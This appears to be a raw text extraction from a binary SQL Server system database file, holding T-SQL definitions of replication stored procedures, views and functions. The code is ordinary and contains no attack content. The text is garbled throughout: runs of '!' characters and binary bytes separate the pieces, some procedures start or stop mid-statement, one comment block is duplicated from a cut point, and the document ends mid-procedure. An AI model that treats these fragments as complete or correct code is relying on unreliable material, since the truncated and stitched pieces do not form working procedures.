!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`a	<+!0 s8create procedure sys.sp_MSmerge_subscriptions_upgrade 
as
begin

    begin tran
    save tran MSmerge_subscriptions_upgrade

    IF object_id('MSmerge_subscriptions') is not NULL 
    begin
        if NOT EXISTS (select * from sys.columns where name = 'description' and object_id=object_id('MSmerge_subscriptions'))
        BEGIN         
            ALTER TABLE MSmerge_subscriptions ADD description nvarchar(255) NULL
            if @@error<>0 goto error
        END

        if NOT EXISTS (select * from sys.columns where name = 'subscriber' and object_id=object_id('MSmerge_subscriptions'))
        BEGIN         
            if exists( select * from sysindexes where name = 'ucMSmerge_subscriptions' AND id = OBJECT_ID('MSmerge_subscriptions'))
            begin
                drop index dbo.MSmerge_subscriptions.ucMSmerge_subscriptions
                if @@error<>0 goto error
            end

            -- In Yukon, the subscriber_id column is optional since there is no reliance on sysservers entries.
            alter table MSmerge_subscriptions alter COLUMN subscriber_id smallint NULL
            if @@error<>0 goto error

            -- In Yukon, adding a subscriber servername column to MSmerge_subscriptions
            ALTER TABLE MSmerge_subscriptions ADD subscriber sysname NULL
            if @@error<>0 goto error

            -- In Yukon, adding a subscriber GUID column to MSmerge_subscriptions
            ALTER TABLE MSmerge_subscriptions ADD subid uniqueidentifier NULL
            if @@error<>0 goto error
                
            -- need to exec update in diff process space to avoid syntax error on deferred name resolution at time of proc exec
            exec( N'update dbo.MSmerge_subscriptions set subscriber = 
                (select srvname from master.dbo.sysservers where srvid = MSmerge_subscriptions.subscriber_id)' )
            if @@error<>0 goto error

            exec( N'update dbo.MSmerge_subscriptions set subid = newid() where subid IS NULL')
            if @@error<>0 goto error

            -- In Yukon, the subid is a required GUID colum, make it non NULL and create index on it
            alter table MSmerge_subscriptions alter COLUMN subid uniqueidentifier NOT NULL 
            if @@error<>0 goto error

            -- In Yukon, adding a publisher servername column to MSmerge_subscriptions
            ALTER TABLE MSmerge_subscriptions ADD publisher sysname NULL
            if @@error<>0 goto error

            exec( N'update dbo.MSmerge_subscriptions set publisher = 
                (select srvname from master.dbo.sysservers where srvid = MSmerge_subscriptions.publisher_id)' )
            if @@error<>0 goto error

            if not exists(select * from sysindexes where name = 'ucMSmerge_subscriptions' AND id = OBJECT_ID('MSmerge_subscriptions'))
            begin
                CREATE UNIQUE CLUSTERED INDEX ucMSmerge_subscriptions ON dbo.MSmerge_subscriptions(subid)
                if @@error<>0 goto error

            end
            
            if not exists(select * from sysindexes where name = 'unc1MSmerge_subscriptions' 
                AND id = OBJECT_ID('MSmerge_subscriptions'))
            begin
                CREATE UNIQUE INDEX unc1MSmerge_subscriptions ON dbo.MSmerge_subscriptions
                    (subscriber, subscriber_db, publisher_id, publisher_db, publication_id)
                if @@error<>0 goto error

            end
        END
    
        if NOT EXISTS (select * from sys.columns where name = 'subscriber_version' and object_id=object_id('MSmerge_subscriptions'))
        BEGIN         
            ALTER TABLE MSmerge_subscriptions ADD subscriber_version int NULL
            if @@error<>0 goto error
        END
    end
    
    IF object_id('MSmerge_agents') is not NULL 
    begin
        update dbo.MSmerge_agents set subscriber_name =
            (select srvname from master.dbo.sysservers where srvid = MSmerge_agents.subscriber_id)
        where subscriber_name is null
        if @@error<>0 goto error
    end

    IF object_id('dbo.MSmerge_sessions') is not NULL
    BEGIN
        if NOT EXISTS (select * from sys.columns where name = 'prepare_snapshot_time' and object_id=object_id('dbo.MSmerge_sessions'))
        begin
            ALTER TABLE dbo.MSmerge_sessions ADD prepare_snapshot_time int NOT NULL default 0
            if @@error<>0 goto error
        end
        
        if NOT EXISTS (select * from sys.columns where name = 'spid' and object_id=object_id('MSmerge_sessions'))
        BEGIN
            ALTER TABLE MSmerge_sessions ADD spid smallint NULL, spid_login_time datetime NULL
            if @@error<>0 goto error
        END
    END

    commit transaction
    return 0
error:
    rollback tran MSmerge_subscriptions_upgrade
    commit tran
    raiserror(25003, 16, -1)
    return 1
end    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!`:b<O*0t; 	8
create view sys.spt_column_privileges_set_view
as
    select -- Rows for explicitly set database permissions.
    -- begin (for doing joins)
        OBJECT_ID       = o.object_id,
        SCHEMA_ID       = o.schema_id,
    -- end (for doing joins)
        GRANTOR         = user_name(p.grantor_principal_id),
        GRANTEE         = user_name(u.principal_id),
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(o.schema_id),
        TABLE_NAME      = o.name,
        COLUMN_NAME     = c.name,
        COLUMN_GUID     = convert(uniqueidentifier,null),
        COLUMN_PROPID   = convert(int,null),
        PRIVILEGE_TYPE  = convert(nvarchar(30),
                                  case p.type
                                      when 'SL' then N'SELECT'
                                      when 'IN' then N'INSERT'
                                      when 'UP' then N'UPDATE'
                                      when 'RF' then N'REFERENCES'
                                  end),
        IS_GRANTABLE    = convert(bit,case when p.state = 'G' then 0 else 1 end)
    from
        sys.columns c inner join -- All explicit permissions are only applicable to user objects only!
        sys.objects o on
            (
                o.object_id = c.object_id and
                o.type in ('U','V','S')
            ) inner join
        sys.database_permissions p on
            (
                p.major_id = o.object_id and
                p.major_id = c.object_id and
                (p.minor_id = 0 or p.minor_id = c.column_id) and
                p.class = 1 and
                p.state in ('G','W') and
                p.type in ('SL', 'IN', 'UP', 'RF')
            ) inner join
        sys.database_principals u on
            (
                u.principal_id = p.grantee_principal_id
            )
    where
        not exists (
                    select
                        major_id
                    from
                        sys.database_permissions p1
                    where
                        p1.major_id = p.major_id and
                        p1.minor_id = c.column_id and
                        p1.class = 1 and
                        p1.state in ('D', 'R') and
                        p1.type = p.type and
                        p1.grantee_principal_id = p.grantee_principal_id and
                        p1.grantor_principal_id = p.grantor_principal_id
                   )
0ݢ@ 8
create procedure sys.sp_MSreplupdateschema  @object_name nvarchar(517)
as
begin
    declare @retcode int
    IF @object_name IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@object_name', 'sp_MSreplupdateschema')
        RETURN (1)
    END

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
            return (1)

    exec sys.sp_replupdateschema @object_name
    return 0
end
0P 8create procedure sys.sp_MSfillup_deleted_cols
(
        @objid int,  -- source object id
        @deleted_cols varbinary(128) output -- deleted_cols bitmap
)
as
begin
    set @deleted_cols=0x0
    declare @ccols int, @maxcolid int, @colidpos int,
            @deleted_cols_map varbinary(128)
    set @deleted_cols_map =0x0
    select @ccols =  count(*) from sys.columns where object_id = @objid 
    select @maxcolid = max(column_id) from sys.columns where object_id = @objid
    if @ccols <> @maxcolid
    begin
            set @colidpos = 1
            while (@colidpos <= @maxcolid)
            begin
                    if not exists (select * from sys.columns where column_id = @colidpos and
                                            object_id = @objid)
                            exec sys.sp_MSsetbit @deleted_cols_map out, @colidpos
                    set @colidpos = @colidpos + 1
            end
    end
    set @deleted_cols=@deleted_cols_map
end
cmd OUTPUT
    if @retcode <> 0
        return (@retcode)

    -- Add sp
    set @cmd = @cmd + N'sys.sp_MSrepl_subscriptionagentjobcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @subscriber = @subscriber,
                    @subscriber_db = @subscriber_db,
                    @publisher = @publisher,
                    @publisher_type = @pubtype,
                    @action = @stop    
    return @retcode


end
0t@ 
8create procedure sys.sp_addarticle
(
    @publication					sysname,
    @article						sysname,
    @source_table					nvarchar (386) = NULL,
    @destination_table				sysname = NULL,
    @vertical_partition				nchar(5) = N'false',
    @type							sysname = NULL,
    @filter							nvarchar (386) = NULL,
    @sync_object					nvarchar (386) = NULL,
    @ins_cmd						nvarchar (255) = NULL,
    @del_cmd						nvarchar (255) = NULL,
    @upd_cmd						nvarchar (255) = NULL,
    @creation_script				nvarchar (255) = NULL,
    @description					nvarchar (255) = NULL,
    @pre_creation_cmd				nvarchar(10) = N'drop',
    @filter_clause					ntext    = NULL,
    @schema_option					varbinary(8) = NULL,
    @destination_owner				sysname = NULL,
    @status							tinyint = NULL,
    @source_owner					sysname = NULL,
    @sync_object_owner				sysname = NULL,
    @filter_owner					sysname = NULL,
    @source_object					sysname = NULL,
    @artid							int = NULL OUTPUT,
    @auto_identity_range			nvarchar(5) = NULL,
    @pub_identity_range				bigint = NULL,
    @identity_range					bigint = NULL,
    @threshold						int = NULL,
    @force_invalidate_snapshot		bit = 0,
    @use_default_datatypes			bit = 1,
    @identityrangemanagementoption	nvarchar(10) = NULL,   -- NONE, MANUAL, AUTO
    @publisher						sysname = NULL,
    @fire_triggers_on_snapshot      nvarchar(5) = N'false'
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher        = @publisher,
                                                                        @rpcheader        = @cmd OUTPUT,
                                                                        @publisher_type    = @publisher_type OUTPUT
    
    IF @retcode <> 0
        RETURN (@retcode)

    select @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_addarticle'
    
    EXEC @retcode = @cmd
                    @publication,
                    @article,
                    @source_table,
                    @destination_table,
                    @vertical_partition,
                    @type,
                    @filter,
                    @sync_object,
                    @ins_cmd,
                    @del_cmd,
                    @upd_cmd,
                    @creation_script,
                    @description,
                    @pre_creation_cmd,
                    @filter_clause,
                    @schema_option,
                    @destination_owner,
                    @status,
                    @source_owner,
                    @sync_object_owner,
                    @filter_owner,
                    @source_object,
                    @artid OUTPUT,
                    @identityrangemanagementoption,
                    @auto_identity_range,
                    @pub_identity_range,
                    @identity_range,
                    @threshold,
                    @force_invalidate_snapshot,
                    @use_default_datatypes,
                    @publisher,
                    @publisher_type,
                    @fire_triggers_on_snapshot

    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
w
E
`w<XD4o0 8--
-- Name: sp_MSrecordsnapshotdeliveryprogress
--
-- Description: This procedure is used by the distribution agent or the merge
--              agent to record a snapshot delivery work item that has been
--              applied to a subscriber database in the 
--              MSsnapshotdeliveryprogress table. In the event of restarting 
--              an interrupted snapshot delivery process, the distribution or
--              merge agent can use the information stored in the 
--              MSsnapshotdeliveryprogress table to avoid redoing snapshot
--              delivery processing that has already been applied to the 
--              subscriber.
-- 
-- Note: This procedure should only be called by the distribution agent or
--       the merge agent at the subscriber database.
--
-- Parameters: @snapshot_session_token nvarchar(260) (mandatory)
--               - a UniCode string that uniquely identifies a snapshot
--                 delivery session. For now, this will be a the full folder
--                 path of the particular snapshot being applied (hence the
--                 260 characters size).
--             @snapshot_progress_token nvarchar(500) (mandatory)
--               - A unicode string that uniquely identifies a snapshot work
--                 item (schema creation, bulk-loading data) that has been 
--                 applied to the subscriber. 
--
-- Returns: 0 - succeeded
--          1 - failed
-- 
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSrecordsnapshotdeliveryprogress (
    @snapshot_session_token nvarchar(260),
    @snapshot_progress_token nvarchar(500)
    )
as
begin
    set nocount on
    set arithabort on
    declare @retcode int
    declare @snapshot_progress_token_hash int
    select @retcode = 0

    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    
    if object_id('dbo.MSsnapshotdeliveryprogress') is null
    begin
        create table dbo.MSsnapshotdeliveryprogress 
        (
           session_token nvarchar(260) not null,
           progress_token_hash int not null,
           progress_token nvarchar(500) not null,
           progress_timestamp datetime default getdate()
        )
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index ci_MSsnapshotdeliveryprogress_progress_token_hash 
            on dbo.MSsnapshotdeliveryprogress(progress_token_hash)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index nci_MSsnapshotdeliveryprogress_session_token
            on dbo.MSsnapshotdeliveryprogress(session_token)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsnapshotdeliveryprogress'
        if @retcode <> 0 or @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
    end 

    select @snapshot_progress_token_hash = sys.fn_repl32bitstringhash(@snapshot_progress_token)
    if @retcode <> 0 or @@ERROR <> 0
    begin 
        select @retcode = 1
        goto FAILURE
    end        

    if exists (select * from MSsnapshotdeliveryprogress 
                where progress_token_hash = @snapshot_progress_token_hash
                  and progress_token = @snapshot_progress_token
                  and session_token = @snapshot_session_token)
    begin
        update MSsnapshotdeliveryprogress
           set progress_timestamp = getdate()
         where progress_token = @snapshot_progress_token
           and session_token = @snapshot_session_token
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
    end
    else
    begin
        insert MSsnapshotdeliveryprogress 
            values (
                @snapshot_session_token,
                @snapshot_progress_token_hash,
                @snapshot_progress_token, 
                default)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end                 
    end         
    if @@ERROR <> 0
    begin 
        select @retcode = 1
        goto FAILURE
    end        

FAILURE:
    return @retcode
end
0! 8
--
-- Name:
--		fn_IHGenerateUniqueName
--
-- Description:
--		Generate a unique sysname by using the following format rules:
--
--			MSHREPL_<ID>_<TYPE><N>
--
-- Inputs:
--		@id   == Unique integer value used to identify the associated object
--		@type == 3 character code (typically, PK, IDX, UNQ)
--		@tag  == instance counter (i.e. for multiple unique constraints)
--
-- Output:
--		generated name (sysname)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by scripting to generate a unique index or constraint name
--

CREATE FUNCTION sys.fn_IHGenerateUniqueName
(
	@id		int,
	@type	nvarchar(3) = NULL,
	@tag	int = NULL
)
RETURNS sysname
AS
BEGIN
	DECLARE @name sysname
	
	SELECT @name = N'MSHREPL_' + CONVERT(nvarchar(10), @id)
	
	IF @type IS NOT NULL
	BEGIN
		SELECT @name = @name + N'_' + UPPER(@type)
		
		IF @tag IS NOT NULL
		BEGIN
			SELECT @name = @name + CONVERT(nvarchar(10), @tag)
		END
	END
	
	RETURN @name
END
0 28
create procedure sys.sp_MSuniquecolname
    @table_name nvarchar(517),  -- this is a qualified_name         
    @base_colname sysname, 
    @unique_colname sysname output
as
begin
    
    set nocount on
    
    declare @icol_suffix int
    
    select @icol_suffix = ( max(column_id) + 1 ) from sys.columns 
        where object_id = object_id( @table_name )

    select @unique_colname = @base_colname 

    while exists( 
            select * from sys.columns 
                where object_id = object_id( @table_name ) 
                  and name = @unique_colname
    )
    begin
        select @unique_colname = @base_colname + convert( nvarchar(40), @icol_suffix )      
        select @icol_suffix = @icol_suffix * ( @@spid + 1 )
    end
    
end
cription:
--		Generate a unique sysname by using the following format rules:
--
--			MSHREPL_<ID>_<TYPE><N>
--
-- Inputs:
--		@id   == Unique integer value used to identify the associated object
--		@type == 3 character code (typically, PK, IDX, UNQ)
--		@tag  == instance counter (i.e. for multiple unique constraints)
--
-- Output:
--		generated name (sysname)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by scripting to generate a unique index or constraint name
--

CREATE FUNCTION sys.fn_IHGenerateUniqueName
(
	@id		int,
	@type	nvarchar(3) = NULL,
	@tag	int = NULL
)
RETURNS sysname
AS
BEGIN
	DECLARE @name sysname
	
	SELECT @name = N'MSHREPL_' + CONVERT(nvarchar(10), @id)
	
	IF @type IS NOT NULL
	BEGIN
		SELECT @name = @name + N'_' + UPPER(@type)
		
		IF @tag IS NOT NULL
		BEGIN
			SELECT @name = @name + CONVERT(nvarchar(10), @tag)
		END
	END
	
	RETURN @name
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:pHr1&`d
<~8pj0"32 	8CREATE VIEW sys.dm_hadr_internal_transport_partners AS
	SELECT
		ags.ag_id, tr.*
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS) AS ags
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_TRANSPORT_PARTNERS, ags.ag_id) AS tr
0M 88"0;SF 8create procedure sys.sp_MSset_sub_guid (
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int,
    @subscription_guid binary(16),
    @queue_id        sysname,
    @queue_server    sysname = NULL
)
AS
BEGIN
    set nocount on
    declare @retcode int
                ,@independent_agent bit
                ,@subqueue_id sysname

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    -- For non independent agent publications
    if @publication is null or @publication = ''
    begin
        select @publication = 'ALL'
                ,@independent_agent = 0
    end
    else
        select @independent_agent = 1

    if @queue_id = N''
        select @queue_id = NULL

    if @queue_server = N''
        select @queue_server = NULL
    --
    -- Special processing when we are dealing with pull SQL queue updating subscription
    --
    if ((@subscription_type = 1) and substring(@queue_id, 1, 10) = N'mssqlqueue')
    begin
        --
        -- For SQL Queue case - Check the current queue_id on the table
        --
        select @subqueue_id = queue_id
        from dbo.MSsubscription_agents
        where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type
        if (@subqueue_id is not NULL and substring(@subqueue_id, 1, 10) = N'mssqlqueue')
        begin
            --
            -- Use the local Queue ID on subscriber as this contains the queue version. 
            -- We are attaching an initialized subscription and do not want to change the 
            -- queue version stored in queue_id for SQL Queues. The value passed by Distribution
            -- Agent is from the distributor metadata and does not contain the queue version information.
            -- This is specific to SQL Queues only.
            --
            select @queue_id = @subqueue_id
        end
    end
    --
    -- Update metadata in MSsubscription_agents
    --
    update MSsubscription_agents set      
        queue_id = @queue_id
        ,queue_server = @queue_server
    where UPPER(publisher) = UPPER(@publisher)
    and publisher_db =  @publisher_db
    and publication = @publication
    and subscription_type = @subscription_type

    update MSreplication_subscriptions set      
        [time] = getdate(),
        subscription_guid = @subscription_guid
    where UPPER(publisher) = UPPER(@publisher)
        and publisher_db =  @publisher_db
        and (@independent_agent = 0 or publication = @publication)
        and subscription_type = @subscription_type
        and independent_agent = @independent_agent
END
0o@ 8CREATE PROCEDURE sys.sp_addlogreader_agent 
(
	@job_login					nvarchar(257)	= NULL,
	@job_password				sysname			= NULL,
	@job_name					sysname			= NULL,
	@publisher_security_mode	smallint		= NULL,
	@publisher_login			sysname 		= NULL,
	@publisher_password 		sysname 		= NULL,
	@publisher					sysname 		= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addlogreader_agent'

	EXEC @retcode = @cmd
					@job_login					= @job_login,
					@job_password				= @job_password,
					@job_name					= @job_name,
					@publisher_security_mode	= @publisher_security_mode,
					@publisher_login			= @publisher_login,
					@publisher_password 		= @publisher_password,
					@publisher					= @publisher,
					@publisher_type 			= @publisher_type

	RETURN (@retcode)
END
0h 58create procedure sys.sp_MSquery_syncstates
(
    @publisher_id smallint, 
    @publisher_db sysname
)
as
begin
	declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- note:  obtain publisher_id via call to sp_MSvalidate_distpublisher

	select publication_id from MSsync_states 
	where publisher_id = @publisher_id 
	and publisher_db = @publisher_db
end
0`h D8h'e0/P 8CREATE PROCEDURE sys.sp_MSinsert_identity 
(
    @publisher 			sysname,
    @publisher_db 		sysname,
    @tablename 			sysname,
    @identity_support	int,
    @pub_identity_range bigint,
    @identity_range 	bigint,
    @threshold 			int,
    @next_seed			bigint,
    @max_identity		bigint = NULL
) 
AS
begin
    declare @pub_seed 		bigint	
    declare @current_max 	bigint
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSinsert_identity', 'distribution')
        return (1)
    end
    if not exists (select * from MSrepl_identity_range 
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db)
    begin
    	select @pub_seed = @pub_identity_range + @next_seed
    	select @current_max = @pub_seed - 1
    	insert MSrepl_identity_range(publisher, publisher_db, tablename, identity_support, next_seed, pub_range, range, max_identity, threshold, current_max	)
    			values (@publisher, @publisher_db, @tablename, @identity_support, @pub_seed,  @pub_identity_range, @identity_range, @max_identity, @threshold, @current_max)
    	if @@ERROR<>0
    		return 1
    end
    else if 1 > 1 --disable this segment for now.
    	begin --adjust republisher's resource table
    		select @pub_seed = @pub_identity_range - 1
    		/* update range, threshold at republisher as needed. Max and next_seed has been set already. */
    		update MSrepl_identity_range set	range = @identity_range,
    											pub_range = @pub_identity_range,
    											threshold=@threshold, 
    											next_seed=next_seed + @pub_identity_range,
    											current_max=next_seed + @pub_seed --new next_seed not yet picked up
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    		if @@ERROR<>0
    			return (1)
    	end
end
0kL 88hjm
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i
bi`	z<Czd0ү [8
create procedure sys.sp_table_privileges_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select
        GRANTOR,
        GRANTEE,
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        PRIVILEGE_TYPE,
        IS_GRANTABLE
    from
        sys.fn_remote_table_privileges (@table_server,
                                        @table_catalog,
                                        @table_schema,
                                        @table_name,
                                        @grantor,
                                        @grantee)
    order by 3,4,5,6,1,2
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$<	3a:w0 8create procedure sys.sp_MSget_type 
(
    @tabid int, 
    @colid int, 
    @colname sysname output,
    @typestring nvarchar(4000) output,
    @userdefinedtypestobasetypes bit = 0,
    @xmltontext bit = 0,
    @maxtypestomatchingnonmaxtypes bit = 0,
    @newdatetimetostrings bit = 0
)
as
begin
    declare @ccolchar nvarchar(5)
                ,@coltype tinyint
                ,@prec int
                ,@scale int
                ,@ccoltype sysname
                ,@xtype int
                ,@length int
                ,@is_assembly_type bit
                ,@type_schema_id int

    declare @retcode int
    
    --
    -- get the metadata (handle UDF properly)
    --
    select @colname = c.name ,@xtype = c.system_type_id, @length = c.max_length, @prec = c.precision, @scale = c.scale
        ,@ccoltype = t.name, @is_assembly_type = t.is_assembly_type, @type_schema_id = t.schema_id
    from (sys.columns c join sys.types t 
                on ((c.system_type_id != 240 and c.system_type_id = t.user_type_id) or (c.system_type_id = 240 and c.user_type_id = t.user_type_id)) )
    where c.object_id = @tabid and c.column_id = @colid 
    --
    -- initialize the result string
    --
    select @typestring = @ccoltype
    --
    -- datatypes requiring precision (nchar, nvarchar, binary, varbinary)
    -- format: @var <dt> (prec)
    --
    if @ccoltype in (N'char',N'nchar', N'varchar', N'nvarchar', N'binary', N'varbinary') 
    begin
        if (@length = -1)
        begin
            --
